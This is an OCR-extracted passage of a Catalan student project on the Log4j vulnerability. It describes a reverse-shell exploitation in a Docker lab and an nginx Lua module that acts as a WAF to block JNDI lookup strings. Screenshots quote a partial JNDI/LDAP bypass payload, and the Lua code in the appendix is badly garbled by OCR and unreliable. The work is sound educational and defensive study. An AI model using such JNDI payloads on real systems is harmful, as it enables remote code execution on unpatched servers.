ments del parametre request dins el parametre data. Aques-
ta funcié té en compte el tipus de dada que rep, ja que pot
ser de tipus Table (com sén els headers) com de tipus String
(com és el body).

Un cop tenim totes les dades de la petici6 en una sola va-
riable de tipus String, podem fer una comprovaci6 de si dins
d’aquesta cadena de caracters existeix algun dels vectors d’-
explotacié que conté I’array creat préviament. Per poder fer
aquesta cerca, he fet servir la funcié “find”. En cas de tro-
bar una cadena maliciosa dins la variable, el modul fara un
redireccionament cap a una pagina on dira que no es pot
explotar aquesta aplicacid i afegira quina ha sigut la cadena
trobada. Finalment, si la peticié fos correcte, aquesta pas-
saria a I’aplicaci6 i mantindria el funcionament habitual.

Un cop tenim tots els nous fitxers, passarem en marxa els
contenidors Docker perque les peticions cap a 1’aplicacié
passin pel modul de lua i siguin analitzades. Igual que ante-
riorment, realitzarem el build per crear la imatge i un “sudo
docker-compose up”’per crear els dos contenidors. Aquest
cop, perque la nova configuracié funcioni, haurem d’acce-
dir al contenidor del reverse proxy amb la comanda:

“sudo docker exec —it nginx-log4j _nginx_I /bin/bash”

Aquesta comanda ens permet obrir, en el mateix ter-
minal, una consola iterativa bash situada dins el conteni-
dor nginx-log4j_nginx_1. Com hem afegit el WORKDIR
en el Dockerfile, la consola estara situada dins la carpeta
“custom-module-log4j” creada anteriorment que conté tots
els fitxers pel reverse proxy. Un cop dins el contenidor fa-
rem servir la comanda:

“nginx -p $PWD/”

Aquesta comanda serveix per canviar el path que indica
en quin directori estan continguts els fitxers i les carpetes
que ha d’utilitzar I’'nginx. Aix{ doncs, un cop executada la
comanda, ja tenim I’'nginx configurat com a reverse proxy
i amb el modul funcionant per analitzar totes les peticions.

Per tant, si ens connectem a “localhost:8085” veurem 1’a-
plicacié sense saber el que passa per dins, pero, si la in-
tentem explotar, la petici6 sera rebutjada i ens apareixera
una pantalla dient que no podem explotar aquesta aplicaci6
(Veure imatge 14).

localhost:8085/login X+

&« C QO [ localhost

You can't explote this app wit Bjndi

Fig. 14: Resultat intent d’explotacid

7 AVALUACIO DELS RESULTATS

Es important valorar tot el procés de cerca i extraccié
d’informacié per aprendre els nous coneixements com sén
la utilitzacié de noves eines, implementacié d’un reverse
proxy i un modul per aquest a I’hora de fer I’avaluaci6 dels
resultats.

Els resultats han estat els esperats tant en la primera part
d’explotacié com en la segona part de la creacié del modul
per realitzar la mitigacié. He pogut introduir-me d’una for-
ma basica en un procés que portarien a cap els equips es-
pecialistes en ciberseguretat i aprofundir sobre aquest camp
de la carrera el qual no toquem gaire. Com el treball esta
dividit en dues parts practiques, he decidit valorar-les per
separat.

7.1 Explotacio

L arquitectura utilitzada per aquesta part és el “kali Linux”
com a client i un docker on es manté corrent I’aplicacié vul-
nerable. Totes les connexions i peticions cap a 1’aplicaci6
van directes cap a I’aplicacié sense ser analitzades, per aixo,
quan connectem el servidor LDAP amb I’aplicacié podem
explotar la vulnerabilitat introduint una cadena maliciosa
per aprofitar-nos de la nomenclatura dels lookups i aconse-
guir una connexié cap al nostre servidor maliciés i acabar
aconseguint la reverse shell. Amb les diverses comandes
(pwd, Is, whoami) he pogut comprovar que realment estava
dins I’aplicaci6é com a usuari privilegiat (Veure imatge 15).

1 from (UNKNOWN) [127

Fig. 15: Resultat d’explotaci6
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Els resultats obtinguts han sigut els esperats, he pogut
entendre com aprofitar-me de la vulnerabilitat log4j i, amb
I’ajuda del POC, poder introduir-me en una operacié sen-
zilla semblant a la que realitzaria un equip de red team i
explotar I’aplicacid.

7.2 Mitigacio

L arquitectura utilitzada per aquesta segona part és la matei-
xa que la primera part amb 1’afegit d’un reverse proxy entre
el client i I’aplicaci6. Aquesta ha sigut la part més com-
plicada del treball, sobretot per la introduccié d’un modul
dins I’'nginx que actua com a WAF, ja que no hi ha gaire
informacio sobre aixo. A més, per poder inicialitzar I’'nginx
des de la carpeta creada amb tots el fitxer de configuracié i
el modul, vaig haver de buscar la manera de intentar-ho fer
des del Dockerfile amb un CMD i ENTRYPOINT que s6n
comandes que et permeten executar comandes dins els con-
tenidors quan s’inicialitzen, perd com la comanda “nginx
—p $PWD/”és una comanda que només canvia el PATH de-
fault d’nginx pel del $PWD aquesta retornava 1 (Execucié
correcte) i el contenidor es tancava. No vaig trobar forma
de poder realitzar la comanda automaticament i, per tant,
per poder fer que funcioni s’ha d’accedir al contenidor i
executar-la manualment.

Tot i els problemes en la configuracié i en la falta d’in-
formacid, el resultat ha sigut 1’esperat i, finalment, he acon-
seguit configurar un reverse proxy i introduir un modul per
revocar qualsevol peticié que intenti aprofitar-se de la vul-
nerabilitat per aconseguir accés a I’aplicacié. He realitzar
diverses proves amb les diferents cadenes malicioses que es
podrien introduir i amb les técniques de bypass per compro-
var tant que realment funcionin per aprofitar-se de la vulne-
rabilitat (Veure imatge 17) com per comprovar la correcte
funcionalitat del modul (Veure imatge 16).

localhost:8085/login N+

O O localhost

can't explote this app with ${${lower:j}ndi:

= 172.16.238.1/

&« > O & 1721

GoFinance

The most popular peer to peer
lending at SEA

${${lowerjindi:ldap://172.1¢

password

172.16.238.1

Fig. 17: Resultat Explotacié amb tecnica de bypass

També he pogut introduir-me en les operacions de cerca
i configuraci6 per protegir un sistema vulnerable que realit-
zaria un equip de Blue team.

8 CONCLUSIONS

Un error en el disseny o en la implementacié d’un programa
informatic pot causar grans danys en les empreses. Durant
el projecte hem vist com per culpa del disseny en la llibreria
log4;j, especificament en la definici6 del lookup de JNDI, es
pot arribar a explotar la llibreria. Per fer-ho és necessari
trobar una entrada que es registri dins 1’aplicacid, llavors
degut al Lookup de JNDI, si afegim una cadena maliciosa
en aquesta entrada podrem executar codi remot.

Al llarg del treball, per una banda, hem vist com explo-
tar una aplicacié web, que conté una versi6 vulnerable de
log4;j, i explotar-la per aconseguir una reverse shell dins el
contenidor on estava corrent. Per altra banda, hem apres
com funciona un proxy invers i com aquest ajuda als ser-
veis web a estar més protegits. Finalment, amb el modul
per I’'nginx programat perque actui com un WAF, obtenim
que qualsevol petici6 HTTP amb intencions malicioses si-
gui rebutjada. D’aquesta manera, aconseguim que 1’aplica-
ci6 vulnerable ja no sigui explotable, ja que totes les petici-
ons son analitzades pel WAF i, en cas de ser malicioses, no
arribaran mai a I’aplicacio.

Es important per les empreses estar al dia de les vulnera-
bilitats i mantenir les llibreries de les seves aplicacions ac-
tualitzades per evitar vulnerabilitats i, en cas que apareguin,
solucionar-les el més rapid possible.

Per concloure, els objectius que tenia marcats des del
principi del treball, com era endinsar-me en aquest ambit
de I’enginyeria informatica penso que 1’he complert, ja que
durant tot el treball he hagut d’investigar i aprendre sobre
la vulnerabilitat log4j, com podia ser explotada, els efectes
que va tenir i, finalment, he pogut veure i entendre com fun-
ciona un reverse proxy i un WAF per ajudar a les aplicacions
web a mantenir-se segures. Finalment, el proposit de realit-
zar I’explotacid i el desenvolupament del modul, també 1’he
pogut assolir i veure el treball que realitzaria, d’una manera
senzilla, un equip de red team i blue team respectivament.
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APENDIX

A.1 Planificacié - Diagrama de Gantt
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. 18: Diagrama de Gantt

A.2 Codi del modul per I’nginx

_M.logjDetection()

json = (
local requestData = {}

31 vectorsExplotation
2L dataReqToCheck

~= (ngx.req.get_headers()) t
dataReqToCheck = fillvariable(ngx.req.get_headers(), dataReqToCheck)

ngx.req.read_body()
i f ~= (ngx.reg.get_body_data(})
if ~= (ngx.reg.get_post_args()) t
dataRegToCheck = fillvariable(ngx.req.get_post_args(), dataRegToCheck)

dataReqToCheck = dataRegqToCheck .. ngx.reg.get_body_data()

ngx.log(ngx.ERR, .. dataRegToCheck

~= (dataReqToCheck) t
i, vectorExplotable i (vectorsExplotation)
ngx.log(ngx.ERR, .. vectorExplotable
f (dataReqToCheck, vectorExplotable) t

ngx.say( , vectorExplotable)

ngx.var.proxy =

Fig. 19: Funcié principal del modul

fillvariable(request, data)
(request) = =
key, wvalue 1 (regquest)
f (data)
= key

= data

(reguest) =
f (data) =
data = request

data = data .. reguest

ngx.log(ngx.ERR, e (request))

Fig. 20: Funcio fill Variable del modul




